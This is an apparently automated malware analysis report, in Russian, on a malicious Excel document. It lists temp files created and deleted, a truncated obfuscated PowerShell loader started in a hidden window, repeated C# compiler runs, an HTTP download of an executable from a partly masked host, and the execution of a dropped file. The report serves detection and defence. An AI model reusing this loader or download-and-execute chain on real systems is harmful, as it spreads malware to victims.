Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function e9f3f96 {param($j81ae)$d72b13='l6d94';$de823='';for ($i=0; $i -lt $j81ae.length;$i+=2){$d1397e1=[convert]::ToByte($j81ae.Substring($i,2),16);$de823+=[char]($d1397...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\vbyeh0_9.0.cs
- %TEMP%\u30qqyi3.dll
- %TEMP%\rjek63jo.dll
- %TEMP%\bkunacch.dll
- %TEMP%\res91af.tmp
- %TEMP%\res9170.tmp
- %TEMP%\res90a5.tmp
- %TEMP%\o0gylcmy.0.cs
- %TEMP%\dczeuskh.dll
- %TEMP%\res8b08.tmp
- %TEMP%\csc919e.tmp
- %TEMP%\csc9160.tmp
- %TEMP%\csc9085.tmp
- %TEMP%\ggw9nvmf.dll
- %TEMP%\res87cc.tmp
- %TEMP%\res8e73.tmp
- %TEMP%\ggw9nvmf.out
- %TEMP%\o0gylcmy.cmdline
- %TEMP%\biwq-fw6.dll
- %TEMP%\resfc02.tmp
- %TEMP%\cscfbf1.tmp
- %TEMP%\biwq-fw6.out
- %TEMP%\biwq-fw6.cmdline
- %TEMP%\biwq-fw6.0.cs
- %TEMP%\g0tfksum.dll
- %TEMP%\rese974.tmp
- %TEMP%\csce953.tmp
- %TEMP%\g0tfksum.out
- %TEMP%\g0tfksum.cmdline
- %TEMP%\g0tfksum.0.cs
- %TEMP%\o0gylcmy.dll
- %TEMP%\resd36b.tmp
- %TEMP%\cscd34b.tmp
- %TEMP%\csc8e62.tmp
- %TEMP%\ehemtyhs.dll
- %TEMP%\mr5ka3p2.dll
- %TEMP%\vbyeh0_9.dll
- %TEMP%\tliqgsht.dll
- %TEMP%\dczeuskh.out
- %TEMP%\bkunacch.out
- %TEMP%\bkunacch.cmdline
- %TEMP%\bkunacch.0.cs
- %TEMP%\ehemtyhs.0.cs
- %TEMP%\rjek63jo.0.cs
- %TEMP%\ggw9nvmf.0.cs
- %TEMP%\dczeuskh.cmdline
- %TEMP%\u30qqyi3.0.cs
- %TEMP%\dczeuskh.0.cs
- %TEMP%\tliqgsht.out
- %TEMP%\tliqgsht.cmdline
- %TEMP%\tliqgsht.0.cs
- %TEMP%\vbyeh0_9.out
- %TEMP%\vbyeh0_9.cmdline
- %APPDATA%\qfe3a.exe
- %TEMP%\o0gylcmy.out
- %TEMP%\ggw9nvmf.cmdline
- %TEMP%\ehemtyhs.out
- %TEMP%\mr5ka3p2.0.cs
- %TEMP%\csc8af7.tmp
- %TEMP%\res8451.tmp
- %TEMP%\res8357.tmp
- %TEMP%\res7e46.tmp
- %TEMP%\csc87bb.tmp
- %TEMP%\csc8440.tmp
- %TEMP%\csc8337.tmp
- %TEMP%\csc7e16.tmp
- %TEMP%\rjek63jo.out
- %TEMP%\u30qqyi3.out
- %TEMP%\u30qqyi3.cmdline
- %TEMP%\rjek63jo.cmdline
- %TEMP%\mr5ka3p2.out
- %TEMP%\mr5ka3p2.cmdline
- %TEMP%\ehemtyhs.cmdline
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{32cf1a46-cffb-47b8-8533-74d12d8164c7}.tmp
Удаляет следующие файлы
- %TEMP%\res7e46.tmp
- %TEMP%\dczeuskh.out
- %TEMP%\dczeuskh.pdb
- %TEMP%\dczeuskh.dll
- %TEMP%\dczeuskh.cmdline
- %TEMP%\u30qqyi3.pdb
- %TEMP%\u30qqyi3.0.cs
- %TEMP%\u30qqyi3.dll
- %TEMP%\u30qqyi3.out
- %TEMP%\u30qqyi3.cmdline
- %TEMP%\rjek63jo.pdb
- %TEMP%\rjek63jo.dll
- %TEMP%\rjek63jo.cmdline
- %TEMP%\rjek63jo.out
- %TEMP%\rjek63jo.0.cs
- %TEMP%\csc919e.tmp
- %TEMP%\res91af.tmp
- %TEMP%\csc9160.tmp
- %TEMP%\csc9085.tmp
- %TEMP%\res9170.tmp
- %TEMP%\dczeuskh.0.cs
- %TEMP%\resd36b.tmp
- %TEMP%\biwq-fw6.dll
- %TEMP%\biwq-fw6.cmdline
- %TEMP%\biwq-fw6.out
- %TEMP%\cscfbf1.tmp
- %TEMP%\resfc02.tmp
- %TEMP%\g0tfksum.pdb
- %TEMP%\g0tfksum.0.cs
- %TEMP%\g0tfksum.out
- %TEMP%\g0tfksum.dll
- %TEMP%\ehemtyhs.0.cs
- %TEMP%\csce953.tmp
- %TEMP%\rese974.tmp
- %TEMP%\o0gylcmy.out
- %TEMP%\o0gylcmy.dll
- %TEMP%\o0gylcmy.cmdline
- %TEMP%\o0gylcmy.pdb
- %TEMP%\o0gylcmy.0.cs
- %TEMP%\cscd34b.tmp
- %TEMP%\res90a5.tmp
- %TEMP%\bkunacch.out
- %TEMP%\bkunacch.pdb
- %TEMP%\ggw9nvmf.out
- %TEMP%\ggw9nvmf.cmdline
- %TEMP%\ggw9nvmf.pdb
- %TEMP%\ggw9nvmf.0.cs
- %TEMP%\csc87bb.tmp
- %TEMP%\res87cc.tmp
- %TEMP%\csc8337.tmp
- %TEMP%\res8357.tmp
- %TEMP%\csc8440.tmp
- %TEMP%\tliqgsht.out
- %TEMP%\tliqgsht.dll
- %TEMP%\tliqgsht.pdb
- %TEMP%\tliqgsht.0.cs
- %TEMP%\tliqgsht.cmdline
- %TEMP%\res8451.tmp
- %TEMP%\csc7e16.tmp
- %TEMP%\res8b08.tmp
- %TEMP%\csc8af7.tmp
- %TEMP%\ggw9nvmf.dll
- %TEMP%\vbyeh0_9.dll
- %TEMP%\bkunacch.dll
- %TEMP%\vbyeh0_9.pdb
- %TEMP%\bkunacch.cmdline
- %TEMP%\bkunacch.0.cs
- %TEMP%\csc8e62.tmp
- %TEMP%\res8e73.tmp
- %TEMP%\ehemtyhs.cmdline
- %TEMP%\ehemtyhs.out
- %TEMP%\ehemtyhs.dll
- %TEMP%\g0tfksum.cmdline
- %TEMP%\biwq-fw6.pdb
- %TEMP%\mr5ka3p2.dll
- %TEMP%\mr5ka3p2.cmdline
- %TEMP%\mr5ka3p2.pdb
- %TEMP%\mr5ka3p2.out
- %TEMP%\mr5ka3p2.0.cs
- %TEMP%\vbyeh0_9.0.cs
- %TEMP%\vbyeh0_9.cmdline
- %TEMP%\vbyeh0_9.out
- %TEMP%\ehemtyhs.pdb
- %TEMP%\biwq-fw6.0.cs
Сетевая активность
TCP
Запросы HTTP GET
- http://sh######su-5987.penne.jp/data/tpvAdm8nCorRPmm.exe
UDP
- DNS ASK sh######su-5987.penne.jp
Другое
Создает и запускает на исполнение
- '%APPDATA%\qfe3a.exe'
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\biwq-fw6.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE974.tmp" "%TEMP%\CSCE953.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g0tfksum.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD36B.tmp" "%TEMP%\CSCD34B.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o0gylcmy.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES91AF.tmp" "%TEMP%\CSC919E.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9170.tmp" "%TEMP%\CSC9160.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES90A5.tmp" "%TEMP%\CSC9085.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8E73.tmp" "%TEMP%\CSC8E62.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8B08.tmp" "%TEMP%\CSC8AF7.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES87CC.tmp" "%TEMP%\CSC87BB.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rjek63jo.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\u30qqyi3.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8451.tmp" "%TEMP%\CSC8440.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ehemtyhs.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8357.tmp" "%TEMP%\CSC8337.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E46.tmp" "%TEMP%\CSC7E16.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mr5ka3p2.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ggw9nvmf.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bkunacch.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dczeuskh.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tliqgsht.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vbyeh0_9.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFC02.tmp" "%TEMP%\CSCFBF1.tmp"' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function e9f3f96 {param($j81ae)$d72b13='l6d94';$de823='';for ($i=0; $i -lt $j81ae.length;$i+=2){$d1397e1=[convert]::ToByte($j81ae.Substring($i,2),16);$de823+=[char]($d1397...' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\biwq-fw6.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE974.tmp" "%TEMP%\CSCE953.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\g0tfksum.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD36B.tmp" "%TEMP%\CSCD34B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o0gylcmy.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES91AF.tmp" "%TEMP%\CSC919E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9170.tmp" "%TEMP%\CSC9160.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES90A5.tmp" "%TEMP%\CSC9085.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8E73.tmp" "%TEMP%\CSC8E62.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8B08.tmp" "%TEMP%\CSC8AF7.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES87CC.tmp" "%TEMP%\CSC87BB.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rjek63jo.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\u30qqyi3.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8451.tmp" "%TEMP%\CSC8440.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ehemtyhs.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8357.tmp" "%TEMP%\CSC8337.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7E46.tmp" "%TEMP%\CSC7E16.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mr5ka3p2.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ggw9nvmf.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\bkunacch.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\dczeuskh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tliqgsht.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vbyeh0_9.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFC02.tmp" "%TEMP%\CSCFBF1.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
